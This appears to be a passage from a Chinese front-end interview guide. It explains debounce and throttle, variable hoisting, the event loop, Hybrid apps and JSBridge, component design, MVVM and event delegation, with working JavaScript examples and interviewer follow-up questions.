防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行,节流是将多次执行变成每隔一段时间执行

eg. 像百度搜索,就应该用防抖,当我连续不断输入时,不会发送请求;当我一段时间内不输入了,才会发送一次请求;如果小于这段时间继续输入的话,时间会重新计算,也不会发送请求。

手写简化版:

// func是用户传入需要防抖的函数
// wait是等待时间
const debounce = (func, wait = 50) => {
  // 缓存一个定时器id
  let timer = 0
  // 这里返回的函数是每次用户实际调用的防抖函数
  // 如果已经设定过定时器了就清空上一次的定时器
  // 开始一个新的定时器,延迟执行用户传入的方法
  return function(...args) {
    if (timer) clearTimeout(timer)
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

适用场景:

  • 文本输入的验证,连续输入文字后发送 AJAX 请求进行验证,验证一次就好
  • 按钮提交场景:防止多次提交按钮,只执行最后提交的一次
  • 服务端验证场景:表单验证需要服务端配合,只执行一段连续的输入事件的最后一次,还有搜索联想词功能类似

2. 节流

节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数。总结起来就是:事件,按照一段时间的间隔来进行触发。

像dom的拖拽,如果用消抖的话,就会出现卡顿的感觉,因为只在停止的时候执行了一次,这个时候就应该用节流,在一定时间内多次执行,会流畅很多

手写简版

使用时间戳的节流函数会在第一次触发事件时立即执行,以后每过 wait 秒之后才执行一次,并且最后一次触发事件不会被执行

时间戳方式:

// func是用户传入需要防抖的函数
// wait是等待时间
const throttle = (func, wait = 50) => {
  // 上一次执行该函数的时间
  let lastTime = 0
  return function(...args) {
    // 当前时间
    let now = +new Date()
    // 将当前时间和上一次执行函数时间对比
    // 如果差值大于设置的等待时间就执行函数
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}

setInterval(
  throttle(() => {
    console.log(1)
  }, 500),
  1
)

定时器方式:

使用定时器的节流函数在第一次触发时不会执行,而是在 delay 秒之后才执行,当最后一次停止触发后,还会再执行一次函数

function throttle(func, delay){
  var timer = 0;
  return function(){
    var context = this;
    var args = arguments;
    if(timer) return // 当前有任务了,直接返回
    timer = setTimeout(function(){
      func.apply(context, args);
      timer = 0;
    },delay);
  }
}

适用场景:

  • 拖拽场景:固定时间内只执行一次,防止超高频次触发位置变动。DOM 元素的拖拽功能实现(mousemove)
  • 缩放场景:监控浏览器resize
  • 滚动场景:监听滚动scroll事件判断是否到页面底部自动加载更多
  • 动画场景:避免短时间内多次触发动画引起性能问题

总结

  • 函数防抖:限制执行次数,多次密集的触发只执行一次
    • 将几次操作合并为一次操作进行。原理是维护一个计时器,规定在delay时间后触发函数,但是在delay时间内再次触发的话,就会取消之前的计时器而重新设置。这样一来,只有最后一次操作能被触发。
  • 函数节流:限制执行的频率,按照一定的时间间隔有节奏的执行
    • 使得一定时间内只触发一次函数。原理是通过判断是否到达一定时间来触发函数。

💬 面试官追问

  • 搜索框加了防抖,结果还是偶尔显示旧关键词的结果,为什么?

    防抖只减少了请求次数,没解决请求返回顺序。前一个请求慢、后一个快,慢的后到就把结果覆盖了。发新请求时用 AbortController 取消上一个,或者比对返回结果对应的关键词。

  • React 组件里写 const fn = debounce(search, 300),防抖完全不生效,为什么?

    每次渲染都创建了一个新的防抖函数,计时器也是新的,自然防不住。用 useMemo 或 useRef 保持同一个实例,卸载时记得调 cancel。

  • 提交按钮防重复点击,用防抖还是节流?

    都不是最好的。防抖会让用户点完要等一下才提交,节流过了间隔还能再提交。正确做法是点击后按钮进 loading 并禁用,请求结束再放开,后端再做幂等。

  • 滚动监听用节流,滚动停下时最后一次位置没处理到,怎么办?

    这是时间戳版节流的特点,最后一次落在窗口里就被丢了。加一个尾部定时器补执行,或者直接用 lodash.throttle,默认 trailing: true。

  • 滚动相关的需求一定要用节流吗?

    不一定。判断元素是否进入视口用 IntersectionObserver,吸顶用 position: sticky,都不需要监听 scroll。要每帧跟手的效果,用 requestAnimationFrame 节流比固定毫秒数更顺。

# 83 谈谈变量提升?

⚡ 30 秒速记

  • 所谓提升:执行上下文创建时先登记所有声明,代码执行时再按顺序赋值,代码并没有真的被挪动
  • var:登记并初始化成 undefined,声明前读到 undefined
  • 函数声明:连函数体一起登记,声明前就能调用;函数表达式只提升了变量名
  • let / const / class 也会登记但不初始化,声明前访问抛 ReferenceError,这段叫暂时性死区
  • 同名时函数声明优先于 var 声明,后面的函数声明覆盖前面的;var 赋值执行后会再覆盖函数
  • 块级里的函数声明在非严格模式下行为很怪,别依赖

变量提升是 JS 引擎在执行代码前,先把作用域里的声明登记一遍,赋值还留在原地。 所以 var 在声明前读到的是 undefined,函数声明因为整个函数体都提前放进内存了,可以先调用后声明。let 和 const 其实也被登记了,只是没初始化,在声明那行之前访问直接报错,这就是暂时性死区,它的价值是把原来悄悄拿到 undefined 的问题变成明确的报错。现在写代码一律 const / let,var 的这些行为主要是为了看懂老代码。

console.log(a)   // undefined
var a = 1
foo()            // 'ok',函数声明整个被提升
function foo() { console.log('ok') }
bar()            // TypeError: bar is not a function
var bar = function () {}
console.log(b)   // ReferenceError,b 在暂时性死区里
let b = 2
  • 变量提升是 JavaScript 中的一种行为,它指的是在代码执行过程中,变量和函数的声明会在其所在作用域的顶部被提升到执行环境中的过程。这意味着可以在变量或函数声明之前使用它们,而不会引发错误。
  • 在 JavaScript 中,使用 var 声明变量时会发生变量提升。具体来说,变量声明会在代码执行前的编译阶段被解析并添加到执行环境中,但是变量的赋值操作会保留在原来的位置。这就导致了以下的行为:

当执行 JS 代码时,会生成执行环境,只要代码不是写在函数中的,就是在全局执行环境中,函数中的代码会产生函数执行环境,只此两种执行环境

1. 变量声明会被提升,但赋值操作不会被提升:

console.log(a); // undefined
var a = 10;

上述代码在执行时会被解析为:

var a;
console.log(a); // undefined
a = 10;

变量提升

这是因为函数和变量提升的原因。通常提升的解释是说将声明的代码移动到了顶部,这其实没有什么错误,便于大家理解。但是更准确的解释应该是:在生成执行环境时,会有两个阶段。第一个阶段是创建的阶段,JS 解释器会找出需要提升的变量和函数,并且给他们提前在内存中开辟好空间,函数的话会将整个函数存入内存中,变量只声明并且赋值为 undefined,所以在第二个阶段,也就是代码执行阶段,我们可以直接提前使用

2. 函数优先于变量提升

在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升

b() // call b second

function b() {
  console.log('call b fist')
}
function b() {
  console.log('call b second')
}
var b = 'Hello world'

var 会产生很多错误,所以在 ES6中引入了 let。let 不能在声明前使用,但是这并不是常说的 let 不会提升,let 提升了,在第一阶段内存也已经为他开辟好了空间,但是因为这个声明的特性导致了并不能在声明前使用

总结

  • 变量提升是 JavaScript 的一种行为,将变量和函数声明提升到作用域的顶部。
  • 使用 var 声明的变量会被提升,但赋值操作保留在原来的位置。
  • 在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升
  • 使用 let 和 const 声明的变量也存在变量提升,但在声明前访问会引发暂时性死区错误。

💬 面试官追问

  • let x = 1; { console.log(x); let x = 2 } 输出什么?

    报 ReferenceError。块里的 let x 在块开头就登记了,遮住了外层的 x,但在声明行之前还没初始化,所以访问就报错。这正好说明 let 也是会提升的。

  • var a = 1; function a() {}; console.log(typeof a) 输出什么?

    'number'。创建阶段函数声明优先,a 先是函数;执行阶段 a = 1 把它覆盖了。如果把 console.log 挪到最前面,打印的是 'function'。

  • for (var i = 0; i < 3; i++) setTimeout(() => console.log(i)) 输出什么?怎么改?

    三个 3。var 没有块作用域,三个回调共享同一个 i。改成 let,每轮循环都有自己的 i,输出 0 1 2。

  • typeof 一个未声明的变量不报错,那 typeof 一个处于暂时性死区的 let 变量呢?

    会报 ReferenceError。typeof 对完全没声明的变量返回 'undefined',但暂时性死区里的变量是声明了没初始化,访问就报错。

  • class 能在声明之前 new 吗?

    不能,class 和 let 一样有暂时性死区,声明前用会抛 ReferenceError。这点和函数声明不一样,从 function 改写成 class 时容易踩。

# 84 什么是单线程,和异步的关系

⚡ 30 秒速记

  • 单线程 = 同一时刻只有一个调用栈在执行 JS 代码,排队一件件做
  • 为什么单线程:最初为了操作 DOM,多线程同时改 DOM 要加锁,复杂度太高
  • 单线程不等于会卡住:网络、定时器交给浏览器的其他线程,做完把回调放进任务队列,主线程空了再取——这就是事件循环
  • 异步是宿主环境(浏览器 / Node)提供的能力,不是 JS 变成了多线程
  • 微任务(Promise.then)在当前任务结束后立刻清空,然后才轮到下一个宏任务(setTimeout)
  • CPU 密集计算异步也救不了,要放 Web Worker 或切片执行

单线程是说执行 JS 的只有一个主线程,异步是为了不让它在等待上浪费时间。 比如发一个请求,真正等网络的是浏览器的网络线程,主线程把回调登记好就继续往下跑,等响应回来,回调被放进任务队列,主线程空闲时由事件循环取出来执行。所以异步解决的是等待,不是计算:如果你写一个跑 3 秒的循环,不管包在 Promise 还是 setTimeout 里,执行时主线程照样卡 3 秒,页面点不动,这种只能交给 Web Worker。

console.log(1)
setTimeout(() => console.log(4), 0)
Promise.resolve().then(() => console.log(3))
console.log(2)
// 输出 1 2 3 4:同步代码 → 微任务 → 宏任务
时序图 · 4 个参与者 / 8 步
alt 请求已返回请求还在等待调用栈调用栈浏览器网络线程浏览器网络线程任务队列任务队列微任务队列微任务队列fetch 发起请求,登记回调1继续执行后面的同步代码2Promise.then 回调入微任务队列3同步代码执行完,栈清空4清空微任务,依次执行5响应到达,回调放入任务队列6事件循环取出一个任务执行7主线程空闲,可处理点击和渲染每轮任务后有机会渲染页面8

在 JavaScript 中,单线程指的是 JavaScript 引擎在执行代码时只有一个主线程,也就是说一次只能执行一条指令。这意味着 JavaScript 代码是按照顺序执行的,前一段代码执行完成后才会执行下一段代码。

  • 异步是一种编程模型,用于处理非阻塞的操作。在 JavaScript 中,异步编程可以通过回调函数、Promise、async/await 等方式来实现。异步操作不会阻塞主线程的执行,从而提高了程序的响应性能和用户体验。
  • 异步的关系与单线程密切相关,因为 JavaScript 是单线程的,如果所有的操作都是同步的,那么一旦遇到一个耗时的操作,比如网络请求或文件读取,整个程序都会被阻塞,用户界面也会停止响应,导致用户体验差。
  • 通过使用异步编程模型,可以将耗时的操作委托给其他线程或进程来处理,使得主线程可以继续执行其他任务,提高了程序的并发性和响应性。当异步操作完成后,通过回调函数或 Promise 的方式通知主线程,主线程再执行相应的回调逻辑。

总结一下:

  • JavaScript 是单线程的,只有一个主线程用于执行代码。
  • 异步编程是一种处理非阻塞操作的方式,提高程序的响应性能和用户体验。
  • 异步操作可以将耗时的任务委托给其他线程或进程处理,主线程继续执行其他任务。
  • 异步操作完成后通过回调函数或 Promise 的方式通知主线程。

💬 面试官追问

  • 把一个耗时 2 秒的计算包进 new Promise 里,页面就不卡了吗?

    还是卡。Promise 构造函数里的代码是同步执行的,then 回调也在主线程跑,只是换了个执行时机。要么放进 Web Worker,要么拆成小块,用 setTimeout 或 scheduler.yield() 分批执行。

  • setTimeout(fn, 0) 是立刻执行吗?

    不是。至少要等当前同步代码和所有微任务跑完,嵌套超过 5 层后浏览器还会把最小延迟拉到 4ms。

  • 既然单线程,Web Worker 算不算让 JS 变成多线程了?

    算是多线程,但每个 Worker 有自己独立的上下文和事件循环,不能访问 DOM,和主线程通过 postMessage 复制数据通信,没有共享变量,所以不用加锁。要共享内存得用 SharedArrayBuffer 加 Atomics。

  • 一个 Promise.then 里不断递归地注册新的 then,会怎样?

    微任务会在当前任务结束后一直清空,新加的也要清完,所以页面渲染和点击事件都轮不到,表现就是卡死。宏任务递归不会这样,每轮之间浏览器有机会渲染。

  • Node 里读文件也是交给其他线程吗?

    对,Node 的文件 IO、DNS、压缩这些由 libuv 的线程池处理,默认 4 个线程;网络 IO 则是用系统的事件通知机制。JS 代码本身还是只在主线程跑。

# 85 前端面试之hybrid

⚡ 30 秒速记

  • Hybrid = 原生 App 壳 + WebView 跑 H5,H5 负责迭代快的业务页面,原生负责底层能力
  • JS 调原生:Android 用 addJavascriptInterface 注入对象或拦截 prompt / URL Scheme;iOS 用 WKWebView 的 window.webkit.messageHandlers.xxx.postMessage
  • 原生调 JS:Android 的 evaluateJavascript、iOS 的 evaluateJavaScript,调一个约定好的全局回调
  • 桥一般做成「callId + 回调表」的异步协议,统一超时、错误码和版本检测
  • 痛点:首屏白屏、WebView 内核碎片化、离线包更新、返回键和路由协同;优化靠 WebView 预热、离线包、接口预请求
  • 和 RN / Flutter / 小程序比:Hybrid 迭代最快、性能最弱

Hybrid 就是在原生 App 里放一个 WebView 跑网页,网页需要拍照、定位这类能力时,通过 JSBridge 让原生去做。 桥的核心是双向通信:JS 调原生,iOS 上用 WKWebView 的 messageHandlers,Android 上用 addJavascriptInterface 注入的对象;原生做完再通过 evaluateJavaScript 调页面里的回调函数。因为是异步的,一般会给每次调用分配一个 callId,回调时按 id 找到对应的 Promise。它的好处是 H5 可以不发版热更新,代价是首屏和动画性能比不过原生,所以重交互的页面通常还是原生写。

时序图 · 3 个参与者 / 8 步
alt 成功拿到定位用户拒绝或超时H5页面H5页面JSBridgeJSBridge原生App原生App调用 bridge.call getLocation1生成 callId,登记 Promise 回调2postMessage 发送 方法名 参数 callId3校验页面域名,申请定位权限4evaluateJavaScript 调用全局回调,带 callId 和结果5按 callId 找到 Promise 并 resolve6返回错误码,或 5 秒无回调7Promise reject,页面降级处理8

http://blog.poetries.top/2018/10/21/fe-interview-hybrid/ (opens new window)

Hybrid(混合应用)是指结合了原生应用和Web技术开发的应用程序。它通常在移动应用开发中使用,允许开发人员使用Web技术(如HTML、CSS和JavaScript)来构建跨平台的移动应用,并在原生应用中嵌入Web视图。

以下是我对Hybrid的理解:

  1. 跨平台开发:Hybrid应用具有跨平台的优势,通过使用Web技术开发一次,可以在多个平台上运行,如iOS和Android。这样可以节省开发时间和成本,并且能够更快地推出产品。
  2. 原生功能访问:Hybrid应用可以利用原生应用提供的功能和特性,如相机、地理定位、推送通知等。通过使用桥接技术,可以在Web视图中调用原生代码,实现对原生功能的访问和调用。
  3. Web技术栈:Hybrid应用使用Web技术栈进行开发,包括HTML、CSS和JavaScript。开发人员可以使用熟悉的Web开发工具和框架来构建应用程序,并且可以利用丰富的Web生态系统中的第三方库和工具。
  4. 在线更新:Hybrid应用可以通过Web进行在线更新,不需要用户手动更新应用程序。这使得开发人员能够快速修复错误、添加新功能,并将这些变更推送给用户,提供更好的用户体验。
  5. 性能权衡:与原生应用相比,Hybrid应用在性能方面可能存在一些权衡。由于在Web视图中运行,Hybrid应用的性能可能受到一些限制,特别是在处理复杂的图形和动画效果时。然而,随着Web技术的不断发展,这些性能限制正在逐渐减小。

总的来说,Hybrid应用是一种将Web技术与原生应用相结合的开发模式,提供了跨平台开发、访问原生功能、在线更新等优势。它在移动应用开发中具有一定的灵活性和便利性,可以满足开发人员快速开发和发布应用程序的需求。

以下是一个简单的示例代码,展示了如何使用Hybrid开发框架(例如Ionic)创建一个基本的Hybrid应用:

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Hybrid App</title>
  <!-- 引入Ionic框架 -->
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/css/ionic.min.css">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/js/ionic.bundle.min.js"></script>
</head>
<body>
  <!-- Ionic提供的UI组件 -->
  <ion-header>
    <ion-navbar>
      <ion-title>Hybrid App</ion-title>
    </ion-navbar>
  </ion-header>
  <ion-content padding>
    <h2>Welcome to Hybrid App!</h2>
    <p>This is a hybrid application developed using Ionic framework.</p>
  </ion-content>

  <!-- 应用的脚本代码 -->
  <script>
    // 在Ionic的Angular控制器中编写业务逻辑
    angular.module('starter', ['ionic'])
      .controller('AppController', function($scope) {
        $scope.message = "Hello, Hybrid App!";
      });

    // 启动Ionic应用
    ionic.Platform.ready(function() {
      angular.bootstrap(document, ['starter']);
    });
  </script>
</body>
</html>

上述示例中使用了Ionic框架,通过引入Ionic的CSS和JavaScript库,我们可以使用Ionic提供的UI组件和工具来构建Hybrid应用。在应用的脚本代码中,使用AngularJS来编写业务逻辑,控制器中定义了一个message变量,可以在视图中显示。最后,通过ionic.Platform.ready来启动Ionic应用。

请注意,这只是一个简单的示例,实际的Hybrid应用可能包含更多的功能和复杂性。不同的Hybrid开发框架可能有不同的用法和特性,具体的开发代码和结构会根据所选框架而有所不同。

Hybrid 的核心是 JSBridge,下面是它的最小实现。

思路是:JS 侧维护一个回调表,每次调用生成一个 callId;把 { method, params, callId } 发给原生;原生做完后调用页面上约定好的全局函数,把 callId 和结果带回来,JS 再按 callId 找到对应的 Promise。

const callbacks = new Map()
let seq = 0

function call(method, params = {}, timeout = 5000) {
  return new Promise((resolve, reject) => {
    const callId = ++seq
    const timer = setTimeout(() => { callbacks.delete(callId); reject(new Error('bridge timeout')) }, timeout)
    callbacks.set(callId, { resolve, reject, timer })
    const msg = JSON.stringify({ method, params, callId })
    if (window.webkit?.messageHandlers?.bridge) window.webkit.messageHandlers.bridge.postMessage(msg) // iOS WKWebView
    else if (window.AndroidBridge) window.AndroidBridge.postMessage(msg)                              // Android 注入的对象
    else reject(new Error('not in app'))
  })
}

// 原生执行完后调用:webView.evaluateJavaScript("__bridgeCallback(1, null, {...})")
window.__bridgeCallback = (callId, err, data) => {
  const cb = callbacks.get(callId)
  if (!cb) return
  clearTimeout(cb.timer)
  callbacks.delete(callId)
  err ? cb.reject(err) : cb.resolve(data)
}

// 业务里像普通异步函数一样用
const pos = await call('getLocation')

几个工程细节:原生侧要校验发起调用的页面域名;桥协议要带版本号,老版本 App 不支持的方法要能降级;Android 的 addJavascriptInterface 在 4.2 之前有任意代码执行漏洞,现在的方法必须加 @JavascriptInterface 注解才能被 JS 调到。

💬 面试官追问

  • App 里打开活动页白屏要 2 秒,你从哪些地方下手?

    拆开看:WebView 初始化、HTML 下载、JS 执行、接口请求各占多少。对应的手段是 WebView 预创建复用、离线包把静态资源放本地、原生在打开页面时并行预请求接口,页面先出骨架屏。

  • 为什么老方案用 iframe 改 src 触发 URL Scheme 调原生,现在不推荐了?

    URL 长度有限制,连续快速触发还会丢消息,需要原生自己去取队列。iOS 的 WKWebView 有 messageHandlers,Android 4.2 以后 addJavascriptInterface 加 @JavascriptInterface 注解也安全了,直接用这些更可靠。

  • H5 调原生的 getLocation,偶尔一直没回调,怎么兜底?

    桥层统一加超时,比如 5 秒没回调就 reject 并清掉 callId 对应的回调。同时页面在调之前先检测原生版本是否支持这个方法,老版本 App 没有这个能力要降级。

  • 任意网页都能调你的 JSBridge 吗?要不要限制?

    必须限制。WebView 可能被跳转到外部链接,原生收到调用时要校验当前页面的域名白名单,敏感能力比如读通讯录、支付还要单独授权,不然就是给钓鱼页面开后门。

  • 新项目做移动端,Hybrid、React Native、Flutter 怎么选?

    以内容和运营活动为主、要天天改的,Hybrid 最合适;要接近原生体验又想复用 React 技术栈,选 RN;对动画、多端 UI 一致性要求高,团队愿意学 Dart,选 Flutter。

# 86 前端面试之组件化

⚡ 30 秒速记

  • 组件化 = 把 UI 拆成职责单一、可复用、可组合的单元,目的是降低复杂度,不是为了复用而复用
  • 好组件:接口清晰(props 进、事件出)、内部状态自己管、有合理默认值、能用插槽 / children 扩展
  • 单向数据流:父传子用 props,子通知父用回调或 emit,状态放在需要它的最近公共父级
  • 逻辑复用的演进:Mixin(来源不明、命名冲突)→ HOC / Render Props(嵌套深)→ Hooks / Composition API
  • 分层:基础组件(无业务)→ 业务组件 → 页面,只有基础组件需要追求高度通用
  • 常见坑:一个组件 20 多个 props 加一堆布尔开关,说明该拆了

组件化就是把页面拆成一块块职责单一的小组件,每块对外只暴露 props 和事件,内部怎么实现外面不用管。 好处是改一处不牵连全局、能单独测试、能复用。判断拆得好不好,我一般看接口:如果一个按钮组件长出 isPrimary、isDanger、showIcon 七八个布尔开关,就说明抽象错了,应该改成 variant 枚举或者用组合,让调用方传 children。逻辑复用现在用 Hooks 或 Composition API,比 Mixin 好追踪来源。只有基础组件才值得做到高度通用,业务组件够用就行,过度抽象比重复代码更难改。

http://blog.poetries.top/2018/10/21/fe-interview-component/ (opens new window)

组件化要讲清的主要是四件事。

一是组件的接口设计。组件对外就是三样东西:输入(props)、输出(事件回调)、扩展点(children / 插槽)。接口越小越稳定,内部实现随便改都不影响调用方。

// 配置式:每加一个需求就多一个 prop,最后失控
<Card title="订单" extra={<Button />} showFooter footerText="查看" footerAlign="right" />

// 组合式:组件只管结构和样式,内容交给调用方
<Card>
  <Card.Header extra={<Button />}>订单</Card.Header>
  <Card.Body>...</Card.Body>
  <Card.Footer align="right">查看</Card.Footer>
</Card>

二是状态放在哪。原则是放在用到它的组件里,多个组件都要用就提到最近的公共父级。受控和非受控要想清楚:表单类组件最好两种都支持,传了 value 就听外面的,不传就自己管。

三是逻辑复用怎么做。Mixin 的问题是多个混入谁提供了哪个属性看不出来,还会同名覆盖;HOC 解决了来源问题,但多个嵌套后组件树很深、props 可能互相覆盖;Hooks / Composition API 把逻辑抽成普通函数,返回值显式解构,来源一目了然。

function useRequest(fn) {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(false)
  const run = async (...args) => { setLoading(true); try { setData(await fn(...args)) } finally { setLoading(false) } }
  return { data, loading, run }
}
const { data, loading, run } = useRequest(getUser) // 一眼看出这三个值从哪来

四是分层。基础组件(按钮、弹窗)不含业务、追求通用;业务组件(订单卡片)组合基础组件、只在一个领域里复用;页面组件负责取数据和组装。越往上越具体,越不需要通用。

💬 面试官追问

  • 一个 Modal 组件已经有 25 个 props 了,还在不断加,怎么办?

    这是配置式组件膨胀的典型信号。改成组合式:拆出 Modal.Header、Modal.Body、Modal.Footer,调用方自己拼,组件本身只管开关、遮罩和焦点管理。

  • 两个兄弟组件要共享一份数据,你怎么放?

    先提到最近的公共父组件,通过 props 往下传。层级很深或者跨了很多页面再考虑 Context 或全局状态,别一上来就全塞进 store。

  • 子组件直接改了父组件传进来的对象属性,会有什么问题?

    数据从哪改的追踪不到,Vue 里虽然能改成功但违反单向数据流,React 里改了也不会触发重渲染。子组件应该发事件通知父组件,由父组件改自己的状态。

  • 业务组件要不要也做得高度可配置,方便以后复用?

    一般不要。业务组件第一次写够用就行,等出现第二、第三个真实场景再抽象。提前为想象中的需求加配置,最后往往一个都用不上,还让代码难改。

  • 团队里组件越来越多,别人不知道有哪些能用,怎么解决?

    建组件文档站,常用 Storybook,每个组件写几个典型用法和 props 说明,再配 TypeScript 类型约束。新增组件前先搜一下,代码评审时发现重复造轮子就指出来。

# 87 前端面试之MVVM浅析

⚡ 30 秒速记

  • MVVM = Model(数据)+ View(视图)+ ViewModel(中间层,负责绑定)
  • 和 MVC 比:Controller 要手动去改 View;MVVM 靠数据绑定自动同步,业务只改数据
  • 和 MVP 比:Presenter 还得调 View 的接口(view.showName()),MVVM 把这步交给框架
  • 实现底座 = 响应式(依赖收集 + 派发更新)+ 模板编译(找出哪里用到了哪个数据)
  • Vue 官方说法是「受 MVVM 启发」,不严格遵循;React 是单向数据流,UI = f(state),不算 MVVM

MVVM 说白了就是:你只管改数据,页面由框架帮你同步,中间那层 ViewModel 就是干这个活的。 以前写 jQuery 是拿到数据再 $('#name').text(name),数据一多,哪里改了哪里没改全靠人记。MVVM 把「数据和 DOM 怎么对应」声明在模板里,框架通过响应式系统知道谁依赖谁,数据一变就精准更新对应节点;输入框这类控件再加一条反向绑定,就成了双向绑定。我会顺带说一句,React 不是 MVVM,它没有自动的双向绑定,是 setState 触发重新渲染。

http://blog.poetries.top/2018/10/21/fe-interview-mvvm/ (opens new window)

MVVM 的核心思路,用一段对比代码最直观。

// MVC / jQuery 写法:数据变了,要自己记得去改每一处 DOM
let user = { name: 'Tom' };
function rename(name) {
  user.name = name;
  $('#title').text(name);   // 漏改一处就不一致
  $('#avatar').attr('alt', name);
}

// MVVM(Vue 3)写法:只声明「视图显示什么」,改数据就行
// <h1>{{ user.name }}</h1>  <img :alt="user.name">
// <input v-model="user.name">
const user = reactive({ name: 'Tom' });
user.name = 'Jerry'; // 标题、alt、输入框全部自动更新

三层分工:

  • Model:纯数据和业务规则,不知道页面长什么样。
  • View:模板 / DOM,只负责展示和收集用户输入。
  • ViewModel:把 Model 包装成响应式的,模板编译时记下「这个节点依赖 user.name」,数据变了就通知对应节点更新;用户输入时再把值写回 Model。

和 MVP 的差别容易被忽略:MVP 里 Presenter 持有 View 的接口引用,要显式调用 view.setTitle(name),好处是方便单测,坏处是样板代码多。MVVM 用绑定代替了这些手动调用,代价是绑定逻辑被框架藏起来了,调试时要懂框架的响应式原理。

💬 面试官追问

  • Vue 的 v-model 算双向绑定,那 Vue 是不是双向数据流?

    不是。v-model 只是语法糖,展开就是 :value 加 @input 回写,数据流动还是单向的:父传子靠 props,子改父靠事件。子组件直接改 props,Vue 会在控制台报警告。

  • React 里写受控输入框,也是数据和输入框互相同步,为什么不叫 MVVM?

    因为同步是你手写的:value={text} 加 onChange={e => setText(e.target.value)},没有 ViewModel 帮你自动绑定。React 的思路是状态变了整个组件重新执行,再靠 diff 更新 DOM,和「绑定到具体节点」是两种路子。

  • MVVM 有什么缺点?什么时候会踩坑?

    数据和视图的对应关系藏在框架里,出问题不好查:比如 Vue 2 里给对象新增属性页面不更新,就是绑定没建立。另外双向绑定用多了,一个值被好几个地方改,很难追是谁改的,所以大一点的项目会配 Pinia 这类集中式状态管理。

  • 那 ViewModel 在 Vue 里具体对应什么?

    基本就是组件实例本身:data / setup 返回的状态是 Model,模板是 View,组件实例把两者连起来,computed、methods 都挂在它上面。

  • 面试让你一句话说清 MVC 和 MVVM 的区别,你怎么说?

    MVC 里改视图是 Controller 手动做的,MVVM 里改视图是数据绑定自动做的。前者是命令式「去把那个 div 改了」,后者是声明式「这个 div 显示 name」。

# 88 实现效果,点击容器内的图标,图标边框变成border 1px solid red,点击空白处重置

⚡ 30 秒速记

  • 一个监听器搞定:在 document 上监听 click,用 e.target.closest('.icon') 找有没有点中图标
  • 点中图标 → 先清掉旧的选中类,再给当前加 active;没点中 → 全部清掉
  • 别在容器里 stopPropagation,会把页面上其他「点外面关闭」的逻辑一起掐断
  • 样式切 class,别直接改 style.border
  • border 从无到 1px 会让图标抖一下 → 默认留 1px solid transparent,或改用 outline

这题考的是事件委托和冒泡,我会只在 document 上挂一个监听,用 closest 判断点中的是不是容器里的图标。 点中了就把上一个选中的去掉、给当前的加 active 类,没点中就说明点的是空白处,全部重置。在容器上 stopPropagation 也能跑,但会让页面上其他依赖冒泡的逻辑失效,比如下拉菜单点外面关不掉了,我一般不这么写。还有个细节,border 从无到有会让图标位置跳 1px,默认就给一圈透明边框。

const box = document.getElementById('box');
function isIcon(target) {
  return target.className.includes('icon');
}

box.onClick = function(e) {
  e.stopPropagation();
  const target = e.target;
  if (isIcon(target)) {
    target.style.border = '1px solid red';
  }
}
const doc = document;
doc.onclick = function(e) {
  const children = box.children;
  for(let i; i < children.length; i++) {
    if (isIcon(children[i])) {
      children[i].style.border = 'none';
    }
  }
}

上面的示例代码有几处跑不起来的问题:onClick 应为 onclick;for (let i; ...) 里 i 没初始化;直接改 style.border 会造成布局抖动。下面是一个可以直接用的版本:

<style>
  .icon { border: 1px solid transparent; } /* 预留边框,选中时不跳动 */
  .icon.active { border-color: red; }
</style>
<div id="box">
  <span class="icon">A</span><span class="icon">B</span>
</div>
<script>
  const box = document.getElementById('box');

  function reset() {
    box.querySelectorAll('.icon.active').forEach(el => el.classList.remove('active'));
  }

  document.addEventListener('click', (e) => {
    const icon = e.target.closest('.icon');
    // 点中了容器里的图标
    if (icon && box.contains(icon)) {
      reset();
      icon.classList.add('active');
      return;
    }
    reset(); // 点在空白处(容器内空白或容器外)
  });
</script>

思路就一条:所有点击最终都冒泡到 document,在这里统一判断「点中了谁」。这样不需要 stopPropagation,也不会和页面上其他点击逻辑打架。

💬 面试官追问

  • 给 box.onClick 赋值,点了没反应,为什么?

    DOM 属性是全小写的 onclick,onClick 只是给对象加了个普通属性,不会触发。顺带一提,for (let i; i < n; i++) 里 i 是 undefined,undefined < n 是 false,循环一次都不会跑。

  • 容器里 stopPropagation 也能实现,你为什么不用?

    它会把这次点击在容器层截断,document 上别人挂的监听都收不到,比如全局埋点、下拉菜单的「点外面关闭」。判断位置用 container.contains(e.target) 或 closest 就够了,没必要动传播。

  • 图标里面还有个 svg,点到 svg 上 e.target 不是图标本身怎么办?

    所以要用 e.target.closest('.icon') 往上找,而不是判断 e.target.className。另外 svg 元素的 className 是 SVGAnimatedString 对象,不是字符串,直接调 className.includes 会报错,要用 classList.contains('icon')。

  • 产品又要求按 Esc 也能取消选中,怎么加?

    在 document 上加一个 keydown 监听,e.key === 'Escape' 时走同一个重置函数。把「选中」和「重置」抽成两个函数,点击、键盘、外部调用都复用。

  • 图标是动态加载的,会不会出现新图标点了没反应?

    事件委托就是为这个准备的:监听挂在 document 上,新插入的图标点击照样冒泡上来,不用重新绑。要是给每个图标单独绑 click,新加的就得补绑。

# 89 请简单实现双向数据绑定MVVM

⚡ 30 秒速记

  • 双向 = 两条独立的链:数据 → 视图(劫持 setter 后改 DOM)、视图 → 数据(监听 input 事件回写)
  • Vue 2 思路:Object.defineProperty 劫持属性,getter 收集依赖、setter 通知更新
  • Vue 3 思路:Proxy 代理整个对象,get 里 track、set 里 trigger,新增属性、数组下标都能拦到
  • 监听用 input 不用 change,change 要失焦才触发;中文输入法要处理 compositionend
  • 代码里程序设置 input.value 不会触发 input 事件,所以不会死循环

